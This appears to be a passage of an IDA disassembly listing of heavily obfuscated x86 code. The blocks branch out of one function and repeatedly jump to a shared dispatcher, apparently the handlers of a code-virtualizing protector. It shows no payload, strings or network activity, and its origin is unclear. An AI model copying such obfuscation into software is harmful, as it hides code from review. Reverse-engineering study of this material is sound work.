loc_593101:				; CODE XREF: sub_57DD3A+149DFj
		pop	ebp
		xor	ebp, 4A4F18B0h
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ebp
		xor	[esp+4Ch+var_4C], 0D944DB0h
		mov	edi, [esp+4Ch+var_4C]
		add	esp, 4
		xor	edi, 0D944DB0h
		mov	ebp, [esp+0]
		add	esp, 4
		add	ecx, 332A02AAh
		add	ecx, edi
		jmp	loc_59B366
; ---------------------------------------------------------------------------


loc_59313A:				; CODE XREF: sub_57DD3A+217B4j
		add	al, cl
		pop	ecx
		push	[esp+40h+var_42+2]
		pop	edx
		add	esp, 4
		push	3FEh
		mov	[esp+40h+var_42+2], ecx
		jmp	loc_5986C5
; ---------------------------------------------------------------------------


loc_593151:				; CODE XREF: sub_57DD3A+11CAAj
		sub	edx, ecx
		sub	edx, 37952DD3h
		push	[esp+0Ch+var_E+2]
		pop	ecx
		push	5A50h
		jmp	loc_598CDC
; ---------------------------------------------------------------------------


loc_593167:				; CODE XREF: sub_57DD3A+1D323j
		mov	ebp, [esp+10h+var_12+2]
		add	esp, 4
		xor	ecx, 14501000h
		mov	esi, ecx
		pop	ecx
		jmp	loc_59C801
; ---------------------------------------------------------------------------


loc_59317B:				; CODE XREF: sub_57DD3A+20413j
		push	esp
		pop	[esp+0Ch+var_E+2]
		add	[esp+8+var_8], 4
		mov	edi, [esp+8+var_8]
		add	esp, 4
		push	6112h
		jmp	loc_59AA51
; ---------------------------------------------------------------------------


loc_593199:				; CODE XREF: sub_57DD3A+2324Aj
		xchg	eax, [esp+8+var_8]
		pop	esp
		or	eax, eax
		jz	loc_5A082C
		push	3336h
		mov	[esp+8+var_8], ecx
		push	edi
		push	ebx
		mov	ebx, 7E626B56h
		mov	edi, ebx
		pop	ebx
		push	7E626C54h
		pop	ecx
		sub	ecx, edi
		pop	edi
		jmp	loc_59CE90
; ---------------------------------------------------------------------------


loc_5931C5:				; CODE XREF: sub_57DD3A+177B4j
		xor	ebp, 41886982h
		add	esi, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	ebx, esi
		pop	esi
		jmp	loc_58EDEA
; ---------------------------------------------------------------------------


loc_5931DE:				; CODE XREF: sub_57DD3A+16DBCj
		mov	edx, [esp+0]
		add	esp, 4
		neg	bl
		dec	bl
		push	ecx
		mov	ch, 0BDh
		xor	bl, ch
		pop	ecx
		and	al, bl
		pop	ebx
		push	5FABh
		mov	[esp-4+arg_0], ebx
		push	6599h
		mov	[esp+0], edi
		push	edi
		jmp	loc_5A1166
; ---------------------------------------------------------------------------


loc_59320A:				; CODE XREF: sub_57DD3A+2122Ej
		sub	esi, 1E585713h
		add	esi, ebx
		jmp	loc_58F508
; ---------------------------------------------------------------------------


loc_593217:				; CODE XREF: sub_57DD3A+1C716j
		sub	ebp, 10A7168h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_593FB1
; ---------------------------------------------------------------------------


loc_593228:				; CODE XREF: sub_57DD3A+138D5j
		xor	edx, 1FA84A19h
		jmp	loc_59BF60
; ---------------------------------------------------------------------------


loc_593233:				; CODE XREF: sub_57DD3A+10C9Dj
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		add	ecx, 0AAF7A58h
		jmp	loc_59D3F4
; ---------------------------------------------------------------------------


loc_593248:				; CODE XREF: sub_57DD3A+23968j
		mov	[esp-4+arg_0], ebp
		push	eax
		mov	eax, 1D1B7D91h
		mov	ebp, eax
		mov	eax, [esp+0]
		add	esp, 4
		or	esi, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_5A0292
; ---------------------------------------------------------------------------


loc_593263:				; CODE XREF: sub_57DD3A+20F80j
		xor	dword ptr [edx], 6427D79h
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		mov	ebx, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59DF3D
; ---------------------------------------------------------------------------


loc_593280:				; CODE XREF: sub_57DD3A+216C9j
		pop	ebp
		and	ecx, edi
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		jmp	loc_597893
; ---------------------------------------------------------------------------


loc_593292:				; CODE XREF: sub_57DD3A+17DB3j
		add	eax, 4
		jmp	loc_59ED5F
; ---------------------------------------------------------------------------


loc_59329C:				; CODE XREF: sub_57DD3A+1B152j
		mov	edi, esp
		push	ebx
		mov	ebx, 79DF3FE5h
		jmp	loc_59C7D9
; ---------------------------------------------------------------------------


loc_5932A9:				; CODE XREF: sub_57DD3A+19319j
		sub	esi, 21077A44h
		add	esi, edi
		push	edx
		mov	edx, 1C3830CCh
		or	edx, 0E1557CDh
		or	edx, 70774A92h
		or	edx, 393F6C4Fh
		xor	edx, 5E78059Bh
		add	esi, edx
		pop	edx
		sub	esi, 60074E50h
		pop	edi
		push	4425h
		mov	[esp], esi
		not	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_59B313
; ---------------------------------------------------------------------------


loc_5932EC:				; CODE XREF: sub_57DD3A+121A6j
		add	edx, 4
		push	eax
		push	edx
		mov	edx, 49586099h
		mov	eax, 0C455A0CEh
		sub	eax, 5F220874h
		sub	eax, edx
		add	eax, 5F220874h
		pop	edx
		jmp	loc_5A2DCA
; ---------------------------------------------------------------------------


loc_593310:				; CODE XREF: sub_57DD3A+21A1Fj
		xor	ebp, [esp+44h+var_46+2]
		pop	esp
		dec	[esp+40h+var_42+2]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59331D:				; CODE XREF: sub_57DD3A+18827j
		sub	[esp+44h+var_46+2], 655A3BECh
		pop	ebx
		jmp	loc_58FC33
; ---------------------------------------------------------------------------


loc_59332A:				; CODE XREF: sub_57DD3A+1A488j
		pop	ebx
		push	edi
		mov	edi, 53886C8Fh
		add	edi, 0FFFFFFFFh
		or	edi, 2E227554h
		or	edi, 5172D26h
		neg	edi
		add	edi, 2D6B5EECh
		add	edi, 820B2337h
		sub	eax, edi
		jmp	loc_5988C6
; ---------------------------------------------------------------------------


loc_593355:				; CODE XREF: sub_57DD3A+114F3j
		sub	bl, dh
		jmp	loc_59B1E6
; ---------------------------------------------------------------------------


loc_59335C:				; CODE XREF: sub_57DD3A+146DFj
		add	[esp+34h+var_32+2], 44630091h
		sub	[esp+34h+var_32+2], ebp
		sub	[esp+34h+var_32+2], 44630091h
		pop	ebp
		sub	[esp+30h+var_32+2], 3226732Eh
		jmp	loc_58EA98
; ---------------------------------------------------------------------------


loc_59337D:				; CODE XREF: sub_57DD3A+1504Aj
		push	edx
		mov	edx, 4DE4575Ah
		jmp	loc_59D301
; ---------------------------------------------------------------------------


loc_593388:				; CODE XREF: sub_57DD3A+20DBBj
		pop	ebp
		mov	edx, [esp+80h+var_80]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+84h+var_84]
		jmp	loc_59BE95
; ---------------------------------------------------------------------------


loc_5933A0:				; CODE XREF: sub_57DD3A+1C079j
		neg	eax
		xor	eax, 30ED6673h
		add	eax, 502F4C14h
		add	edi, eax
		mov	eax, [esp+84h+var_84]
		add	esp, 4
		push	esi
		mov	esi, 34737A3Eh
		shr	esi, 3
		add	esi, 0FC3A75EFh
		xor	edi, esi
		jmp	loc_597932
; ---------------------------------------------------------------------------


loc_5933CA:				; CODE XREF: sub_57DD3A+1CAF3j
		push	esp
		mov	edi, [esp+88h+var_88]
		jmp	loc_59BFB4
; ---------------------------------------------------------------------------


loc_5933D3:				; CODE XREF: sub_57DD3A+23210j
		mov	edi, [esp+88h+var_88]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_59E386
; ---------------------------------------------------------------------------


loc_5933E3:				; CODE XREF: sub_57DD3A+212D0j
		xor	ebx, [esp+84h+var_84]
		xor	[esp+84h+var_84], ebx
		xor	ebx, [esp+84h+var_84]
		pop	esp
		add	ebp, 2
		xchg	ebp, [esp+80h+var_80]
		jmp	loc_5974BA
; ---------------------------------------------------------------------------
		neg	[esp+80h+var_80]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_593404:				; CODE XREF: sub_57DD3A+24887j
		add	esp, 4
		add	eax, edx
		push	6450h
		mov	[esp+84h+var_84], esi
		mov	esi, 607934BFh
		add	eax, esi
		pop	esi
		jmp	loc_59945A
; ---------------------------------------------------------------------------


loc_59341E:				; CODE XREF: sub_57DD3A+193E7j
		sub	esi, 4
		jmp	loc_5A097E
; ---------------------------------------------------------------------------


loc_593429:				; CODE XREF: sub_57DD3A+1C8EBj
		add	cl, 8Ah
		xor	cl, 7Dh
		push	7AEFh
		mov	[esp+84h+var_84], edx
		mov	dh, cl
		push	ecx
		push	ebx
		mov	bh, dh
		jmp	loc_59193B
; ---------------------------------------------------------------------------


loc_593442:				; CODE XREF: sub_57DD3A+2534Ej
		push	ebx
		jmp	loc_59EC13
; ---------------------------------------------------------------------------


loc_593448:				; CODE XREF: sub_57DD3A+110F6j
		pop	ebp
		mov	ebx, ebp
		mov	ebp, [esp+26h+var_26]
		push	4328h
		mov	[esp+2Ah+var_2A], ebp
		sub	esp, 4
		sub	esp, 4
		jmp	loc_5A204A
; ---------------------------------------------------------------------------


loc_593464:				; CODE XREF: sub_57DD3A+16C1Fj
		push	[esp+32h+var_2E]
		jmp	loc_58F986
; ---------------------------------------------------------------------------


loc_59346D:				; CODE XREF: sub_57DD3A+16D46j
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_59FFFD
; ---------------------------------------------------------------------------


loc_593477:				; CODE XREF: sub_57DD3A+158DBj
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		mov	ebx, [esp+3Eh+var_3E]
		add	esp, 4
		jmp	loc_599E4C
; ---------------------------------------------------------------------------


loc_593492:				; CODE XREF: sub_57DD3A+23FB2j
		push	edi
		push	[esp+3Eh+var_3A]
		pop	edi
		jmp	loc_594891
; ---------------------------------------------------------------------------


loc_59349D:				; CODE XREF: sub_57DD3A+1D522j
		mov	eax, [esp+3Eh+var_3E]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Eh+var_3E], eax
		push	esp
		pop	eax
		jmp	loc_5A01FE
; ---------------------------------------------------------------------------


loc_5934B0:				; CODE XREF: sub_57DD3A+20CC8j
		mov	[esp+3Eh+var_3E], edx
		jmp	loc_596317
; ---------------------------------------------------------------------------


loc_5934B8:				; CODE XREF: sub_57DD3A+126A1j
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp+8+var_8]
		jmp	loc_5A00CC
; ---------------------------------------------------------------------------


loc_5934C8:				; CODE XREF: sub_57DD3A+171E6j
		sub	eax, 2C793CACh
		pop	ebx
		sub	eax, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		jmp	loc_5A0746
; ---------------------------------------------------------------------------


loc_5934E1:				; CODE XREF: sub_57DD3A+10EDDj
		xchg	eax, edi
		push	ebx
		mov	ebx, 37572F70h
		jmp	loc_59400A
; ---------------------------------------------------------------------------


loc_5934ED:				; CODE XREF: sub_57DD3A+13203j
		mov	[esp+58h+var_58], edi
		mov	edi, 6B9A1E9Eh
		jmp	loc_59298A
; ---------------------------------------------------------------------------


loc_5934FA:				; CODE XREF: sub_57DD3A+1C4E4j
		sub	ebp, 1E4643F2h
		sub	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_591231
; ---------------------------------------------------------------------------


loc_593509:				; CODE XREF: sub_57DD3A+20C80j
		push	4859h
		mov	[esp+5Ch+var_5C], ecx
		jmp	loc_5946B2
; ---------------------------------------------------------------------------


loc_593516:				; CODE XREF: sub_57DD3A+1966Cj
		push	ecx
		mov	ecx, 4
		jmp	loc_5973AB
; ---------------------------------------------------------------------------


loc_593521:				; CODE XREF: sub_57DD3A+14AE5j
		pop	esi
		push	eax
		mov	eax, 0CAA54F8h
		and	eax, 7A630335h
		jmp	loc_592931
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+5Eh+var_60+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_593541:				; CODE XREF: sub_57DD3A+1D1B8j
		xor	ebx, eax
		pop	eax
		push	45ABh
		mov	[esp+62h+var_64+2], ebx
		jmp	loc_590E2A
; ---------------------------------------------------------------------------


loc_593551:				; CODE XREF: sub_57DD3A+12C46j
		push	eax
		mov	eax, 9CA7285h
		dec	eax
		inc	eax
		push	edx
		jmp	loc_594F84
; ---------------------------------------------------------------------------


loc_59355F:				; CODE XREF: sub_57DD3A+1DA45j
		add	ebp, 4
		xchg	ebp, [esp+14h+var_16+2]
		jmp	loc_5948D7
; ---------------------------------------------------------------------------


loc_59356A:				; CODE XREF: sub_57DD3A+10D8Ej
		mov	eax, [esp+18h+var_1A+2]
		push	edx
		mov	edx, esp
		jmp	loc_59876B
; ---------------------------------------------------------------------------


loc_593575:				; CODE XREF: sub_57DD3A+147C3j
		push	[esp+58h+var_58]
		push	[esp+5Ch+var_5C]
		pop	ecx
		jmp	loc_59B6DF
; ---------------------------------------------------------------------------


loc_593581:				; CODE XREF: sub_57DD3A+23C89j
		pop	esp
		push	ebx
		mov	edi, [esp+5Ch+var_5C]
		jmp	loc_59382D
; ---------------------------------------------------------------------------


loc_59358B:				; CODE XREF: sub_57DD3A+122EDj
		mov	bh, 30h
		mov	dh, 0AAh
		add	dh, bh
		pop	ebx
		mov	cl, dh
		pop	edx
		sub	al, cl
		mov	cx, word ptr [esp+40h+var_42+2]
		sub	esp, 4
		mov	[esp+44h+var_46+2], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59C65E
; ---------------------------------------------------------------------------


loc_5935AE:				; CODE XREF: sub_57DD3A+17275j
		push	185Dh
		mov	[esp+0], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_59D648
; ---------------------------------------------------------------------------


loc_5935C0:				; CODE XREF: sub_57DD3A+22093j
		mov	esi, [esp+4Ch+var_4C]
		jmp	loc_596470
; ---------------------------------------------------------------------------


loc_5935C8:				; CODE XREF: sub_57DD3A+203ECj
		xor	bl, ch
		push	[esp+4Ch+var_4C]
		pop	ecx
		add	esp, 4
		sub	bl, 72h
		xor	al, bl
		jmp	loc_5A0133
; ---------------------------------------------------------------------------


loc_5935DE:				; CODE XREF: sub_57DD3A+1FF07j
		pop	edi
		pop	eax
		sub	esp, 4
		mov	[esp+44h+var_46+2], eax
		jmp	loc_59E565
; ---------------------------------------------------------------------------


loc_5935EB:				; CODE XREF: sub_57DD3A+1A21Dj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp+44h+var_46+2]
		xor	[esp+44h+var_46+2], ecx
		xor	ecx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_42+2], esi
		jmp	loc_58EB89
; ---------------------------------------------------------------------------


loc_593608:				; CODE XREF: sub_57DD3A+1C1BEj
		mov	esi, edi
		mov	edi, [esp+40h+var_42+2]
		jmp	loc_59C266
; ---------------------------------------------------------------------------


loc_593612:				; CODE XREF: sub_57DD3A+143FBj
		mov	[esp+1Eh+var_1E], ecx
		jmp	loc_593477
; ---------------------------------------------------------------------------


loc_59361A:				; CODE XREF: sub_57DD3A+1B996j
		mov	bh, 0F6h
		and	bh, 44h
		jmp	loc_59712F
; ---------------------------------------------------------------------------


loc_593624:				; CODE XREF: sub_57DD3A+1AEB1j
		add	ebp, 40410700h
		add	ebp, 5BE25221h
		add	ebp, ebx
		push	ebx
		mov	ebx, 5DF009D5h
		jmp	loc_595C0E
; ---------------------------------------------------------------------------


loc_59363D:				; CODE XREF: sub_57DD3A+18ADDj
		push	143Ch
		mov	[esp+26h+var_26], edx
		push	[esp+26h+var_22]
		mov	edx, [esp+2Ah+var_2A]
		add	esp, 4
		pop	[esp+26h+var_26]
		mov	esp, [esp+22h+var_22]
		mov	word ptr [esp+22h+var_22], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59365E:				; CODE XREF: sub_57DD3A+14F03j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+62h+var_64+2]
		jmp	loc_59E995
; ---------------------------------------------------------------------------


loc_593672:				; CODE XREF: sub_57DD3A+25450j
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp+5Eh+var_60+2]
		add	esp, 4
		or	eax, eax
		jz	loc_592643
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp+5Eh+var_60+2]
		jmp	loc_595798
; ---------------------------------------------------------------------------


loc_593691:				; CODE XREF: sub_57DD3A+12173j
		pop	eax
		sub	esp, 4
		mov	[esp+50h+var_50], edi
		push	esp
		pop	edi
		jmp	loc_59438A
; ---------------------------------------------------------------------------


loc_5936A2:				; CODE XREF: sub_57DD3A+13992j
		sub	ebx, eax
		pop	eax
		add	ebx, 12C7426h
		add	ebx, edx
		sub	ebx, 12C7426h
		add	ebx, 2A092957h
		sub	ebx, 2E1406B0h
		add	eax, [ebx]
		pop	ebx
		mov	edx, [esp+26h+var_26]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ah+var_2A]
		pop	esp
		push	1711h
		mov	[esp+2Ah+var_2A], eax
		jmp	loc_591CF9
; ---------------------------------------------------------------------------


loc_5936E2:				; CODE XREF: sub_57DD3A+1C15Fj
		pop	esp
		add	eax, 0FFFFFFFFh
		jmp	loc_59D3A4
; ---------------------------------------------------------------------------


loc_5936ED:				; CODE XREF: sub_57DD3A+16FD4j
		push	esp
		pop	esi
		jmp	loc_59F7FF
; ---------------------------------------------------------------------------


loc_5936F4:				; CODE XREF: sub_57DD3A+14F48j
		mov	bh, 67h
		mov	cl, 31h
		sub	cl, bh
		pop	ebx
		push	eax
		mov	ah, 0A1h
		mov	dh, 89h
		sub	dh, ah
		pop	eax
		sub	dh, cl
		jmp	loc_59387F
; ---------------------------------------------------------------------------


loc_59370A:				; CODE XREF: sub_57DD3A+2445Bj
		pop	esi
		jmp	loc_59F20A
; ---------------------------------------------------------------------------


loc_593710:				; CODE XREF: sub_57DD3A+22747j
		pop	ebp
		jmp	loc_59DBC4
; ---------------------------------------------------------------------------


loc_593716:				; CODE XREF: sub_57DD3A+226A4j
		sub	esi, 1AD3664h
		mov	ebx, [esp+66h+var_68+2]
		add	esp, 4
		and	esi, 19B8381Ah
		sub	esi, 11B81006h
		add	ecx, esi
		pop	esi
		jmp	loc_5977E5
; ---------------------------------------------------------------------------


loc_593736:				; CODE XREF: sub_57DD3A+1F6D8j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+62h+var_64+2]
		jmp	loc_59C341
; ---------------------------------------------------------------------------


loc_59374A:				; CODE XREF: sub_57DD3A+1A428j
		mov	esi, 35F81BDBh
		neg	esi
		shr	esi, 1
		push	ecx
		jmp	loc_59E1E3
; ---------------------------------------------------------------------------


loc_593759:				; CODE XREF: sub_57DD3A+1862Fj
		mov	[esp+66h+var_68+2], eax
		mov	eax, 2
		mov	ecx, eax
		jmp	loc_590A44
; ---------------------------------------------------------------------------


loc_593768:				; CODE XREF: sub_57DD3A+1384Cj
		push	esi
		mov	esi, 266C4C19h
		shr	esi, 1
		shr	esi, 4
		inc	esi
		jmp	loc_5937B1
; ---------------------------------------------------------------------------


loc_593779:				; CODE XREF: sub_57DD3A+22CBFj
		add	ebp, 4
		xchg	ebp, [esp+10h+var_12+2]
		pop	esp
		sub	esp, 4
		mov	[esp+10h+var_12+2], ebp
		push	58051028h
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 0AB1647Bh
		jmp	loc_59F6B3
; ---------------------------------------------------------------------------


loc_59379D:				; CODE XREF: sub_57DD3A+18D1Bj
		sub	edi, ecx
		jmp	loc_595E40
; ---------------------------------------------------------------------------


loc_5937A4:				; CODE XREF: sub_57DD3A+1FBDCj
		add	esp, 4
		mov	bh, cl
		mov	ecx, [esp+14h+var_16+2]
		jmp	loc_59FC0D
; ---------------------------------------------------------------------------


loc_5937B1:				; CODE XREF: sub_57DD3A+15A3Aj
		not	esi
		neg	esi
		xor	esi, 9A7D7F1Eh
		add	ebp, esi
		pop	esi
		jmp	loc_59DF30
; ---------------------------------------------------------------------------


loc_5937C3:				; CODE XREF: sub_57DD3A+1F4AEj
		mov	ebx, [esp+0Ch+var_E+2]
		push	7C96h
		mov	[esp+10h+var_12+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_12+2]
		pop	esp
		mov	di, 0E779h
		xor	di, bp
		mov	ebp, [esp+0Ch+var_E+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		xor	ax, di
		mov	di, word ptr [esp+0Ch+var_E+2]
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 3FE25499h
		push	esi
		mov	esi, 1DD76FDh
		add	edx, esi
		jmp	loc_593026
; ---------------------------------------------------------------------------


loc_593817:				; CODE XREF: sub_57DD3A+23867j
		xor	bh, 0C0h
		shr	bh, 5
		dec	bh
		jmp	loc_5A31E0
; ---------------------------------------------------------------------------


loc_593824:				; CODE XREF: sub_57DD3A+23717j
		dec	edx
		shl	edx, 5
		jmp	loc_58E91F
; ---------------------------------------------------------------------------


loc_59382D:				; CODE XREF: sub_57DD3A+1584Cj
		add	esp, 4
		jmp	loc_595553
; ---------------------------------------------------------------------------


loc_593835:				; CODE XREF: sub_57DD3A+1BAF9j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+58h+var_58]
		pop	esp
		mov	[esp+54h+var_54], edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		sub	[esp+50h+var_50], eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59386F:				; CODE XREF: sub_57DD3A+18374j
		xor	ebp, 1CE24E63h
		sub	eax, 597C635Eh
		jmp	loc_5997A1
; ---------------------------------------------------------------------------


loc_59387F:				; CODE XREF: sub_57DD3A+159CBj
		mov	ecx, [esp+6Eh+var_70+2]
		add	esp, 4
		shr	dh, 4
		and	dh, 63h
		shr	dh, 2
		inc	dh
		jmp	loc_599386
; ---------------------------------------------------------------------------


loc_593895:				; CODE XREF: sub_57DD3A+1F6B5j
		mov	ebp, [esp+6Ah+var_6C+2]
		jmp	loc_591BF2
; ---------------------------------------------------------------------------


loc_59389D:				; CODE XREF: sub_57DD3A+2102Cj
		push	edx
		push	ebx
		push	dx
		mov	dl, 0B1h
		jmp	loc_592DA5
; ---------------------------------------------------------------------------


loc_5938A8:				; CODE XREF: sub_57DD3A+22FD5j
		add	esi, 4
		jmp	loc_590D13
; ---------------------------------------------------------------------------


loc_5938B3:				; CODE XREF: sub_57DD3A+19A17j
		pop	ebp
		add	ebx, eax
		pop	eax
		pop	ecx
		push	5E1Fh
		mov	[esp+6Ch+var_6C], ecx
		jmp	loc_59972B
; ---------------------------------------------------------------------------


loc_5938C5:				; CODE XREF: sub_57DD3A+22AE4j
		or	edx, edi
		pop	edi
		push	ebp
		mov	ebp, 47B54FC6h
		add	ebp, 0EFF5D802h
		jmp	loc_595FA0
; ---------------------------------------------------------------------------


loc_5938D9:				; CODE XREF: sub_57DD3A+19290j
		push	ebx
		jmp	loc_59A5C8
; ---------------------------------------------------------------------------


loc_5938DF:				; CODE XREF: sub_57DD3A+21886j
		add	[esp+70h+var_70], 251528B0h
		mov	ecx, [esp+70h+var_70]
		jmp	loc_59D080
; ---------------------------------------------------------------------------
word_5938EE	dw 2489h		; CODE XREF: sub_57DD3A+1B9E6j
; ---------------------------------------------------------------------------
		and	al, 57h
		mov	edi, 4
		add	[esp+70h+var_6C], edi
		pop	edi
		pop	edi
		jmp	loc_5A05C4
; ---------------------------------------------------------------------------


loc_593902:				; CODE XREF: sub_57DD3A+1E6C8j
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+64h+var_64]
		pop	esp
		jmp	loc_5A2854
; ---------------------------------------------------------------------------


loc_593915:				; CODE XREF: sub_57DD3A+234F1j
		and	ecx, 37266739h
		sub	ecx, 2CAE2B7Ah
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59A515
; ---------------------------------------------------------------------------


loc_593929:				; CODE XREF: sub_57DD3A+12DECj
		xor	ecx, 60BA740Ch
		jmp	loc_59C43F
; ---------------------------------------------------------------------------


loc_593934:				; CODE XREF: sub_57DD3A+2470Bj
		sub	eax, edi
		add	eax, 7D6A6B6Eh
		push	ecx
		push	ebx
		push	97B2710h
		pop	ebx
		shr	ebx, 1
		add	ebx, 3A179D9Bh
		mov	ecx, ebx
		mov	ebx, [esp+70h+var_70]
		add	esp, 4
		push	edi
		jmp	loc_59075D
; ---------------------------------------------------------------------------
		push	[esp+70h+var_70]
		push	[esp+74h+var_74]
		mov	eax, [esp+78h+var_78]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A09B5
; ---------------------------------------------------------------------------


loc_593973:				; CODE XREF: sub_57DD3A+18719j
		or	eax, edx
		jmp	loc_5972D1
; ---------------------------------------------------------------------------


loc_59397A:				; CODE XREF: sub_57DD3A+20E5Dj
		mov	esi, ebx
		jmp	loc_5992A6
; ---------------------------------------------------------------------------


loc_593981:				; CODE XREF: sub_57DD3A+24836j
		push	ebp
		mov	ebp, 5E3C5781h
		dec	ebp
		add	ebp, 67E2370h
		sub	edx, ebp
		jmp	loc_59D3EE
; ---------------------------------------------------------------------------


loc_593995:				; CODE XREF: sub_57DD3A+14024j
		pop	esp
		jmp	loc_594373
; ---------------------------------------------------------------------------


loc_59399B:				; CODE XREF: sub_57DD3A+1EE86j
		mov	edx, eax
		pop	eax
		xor	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esi
		pop	ebx
		jmp	loc_5A11D6
; ---------------------------------------------------------------------------


loc_5939B1:				; CODE XREF: sub_57DD3A+1D68Ej
		pop	ebx
		dec	eax
		jmp	loc_592DDE
; ---------------------------------------------------------------------------


loc_5939B8:				; CODE XREF: sub_57DD3A+20C9Dj
		add	ecx, 553A26EEh
		sub	ecx, 0C69A2DEh
		and	edi, ecx
		pop	ecx
		push	ecx
		push	ebx
		mov	ebx, 1AFA7DEEh
		mov	ecx, ebx
		pop	ebx
		and	edi, ecx
		mov	ecx, [esp+0]
		jmp	loc_58F8DA
; ---------------------------------------------------------------------------


loc_5939DB:				; CODE XREF: sub_57DD3A+1E221j
		xchg	ecx, ebp
		shl	ebp, 7
		add	ebp, 45A25A2h
		or	ebp, 37B475D6h
		jmp	loc_5957FC
; ---------------------------------------------------------------------------


loc_5939F1:				; CODE XREF: sub_57DD3A+209FBj
		and	edx, 27C52E88h
		push	edi
		mov	edi, 46005F13h
		jmp	loc_595F8E
; ---------------------------------------------------------------------------


loc_593A02:				; CODE XREF: sub_57DD3A+1B851j
		sub	ebx, 4
		xchg	ebx, [esp+4+var_4]
		jmp	loc_592F64
; ---------------------------------------------------------------------------


loc_593A0D:				; CODE XREF: sub_57DD3A+21FF2j
		xchg	ecx, [esp+4+var_4]
		pop	ecx
		dec	ecx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, 44D24F7Fh
		jmp	loc_58E678
; ---------------------------------------------------------------------------


loc_593A22:				; CODE XREF: sub_57DD3A+172BFj
		pop	ebx
		mov	eax, [esp+0]
		push	ebx
		jmp	loc_596BFC
; ---------------------------------------------------------------------------


loc_593A2C:				; CODE XREF: sub_57DD3A+12A33j
		add	ecx, edi
		jmp	loc_5A06EB
; ---------------------------------------------------------------------------


loc_593A33:				; CODE XREF: sub_57DD3A+1B8B8j
		dec	ebp
		sub	ebp, 0F767ED30h
		mov	esi, ebp
		pop	ebp
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		push	ecx
		push	[esp+20h+var_1E+2]
		jmp	loc_5A2AC9
; ---------------------------------------------------------------------------


loc_593A4D:				; CODE XREF: sub_57DD3A+1B160j
		pop	esp
		rol	[esp+20h+var_22+2], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_593A57:				; CODE XREF: sub_57DD3A+1A2D3j
		pop	esi
		add	esi, 94512D4h
		jmp	loc_597D7D
; ---------------------------------------------------------------------------


loc_593A63:				; CODE XREF: sub_57DD3A+20952j
		sub	edx, 4
		jmp	loc_59ABB9
; ---------------------------------------------------------------------------


loc_593A6E:				; CODE XREF: sub_57DD3A+1CA62j
		pop	esp
		jmp	loc_5988BE
; ---------------------------------------------------------------------------


loc_593A74:				; CODE XREF: sub_57DD3A+1FE68j
		pop	[esp+1Ch+var_1E+2]
		push	ebx
		push	ecx
		mov	ecx, 7F117C71h
		mov	ebx, 80EE8393h
		add	ebx, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_5A219A
; ---------------------------------------------------------------------------


loc_593A93:				; CODE XREF: sub_57DD3A+1F4CDj
		dec	edx
		neg	edx
		add	edx, 5A4B525Ch
		jmp	loc_598005
; ---------------------------------------------------------------------------


loc_593AA1:				; CODE XREF: sub_57DD3A+1F8C4j
		sub	esp, 4
		mov	[esp+20h+var_22+2], ecx
		mov	ecx, 24190CB6h
		shl	ecx, 3
		push	esi
		mov	esi, 4D4C7CEBh
		xor	esi, 71405073h
		sub	ecx, 68C0341Eh
		sub	ecx, esi
		add	ecx, 68C0341Eh
		pop	esi
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		sub	esp, 4
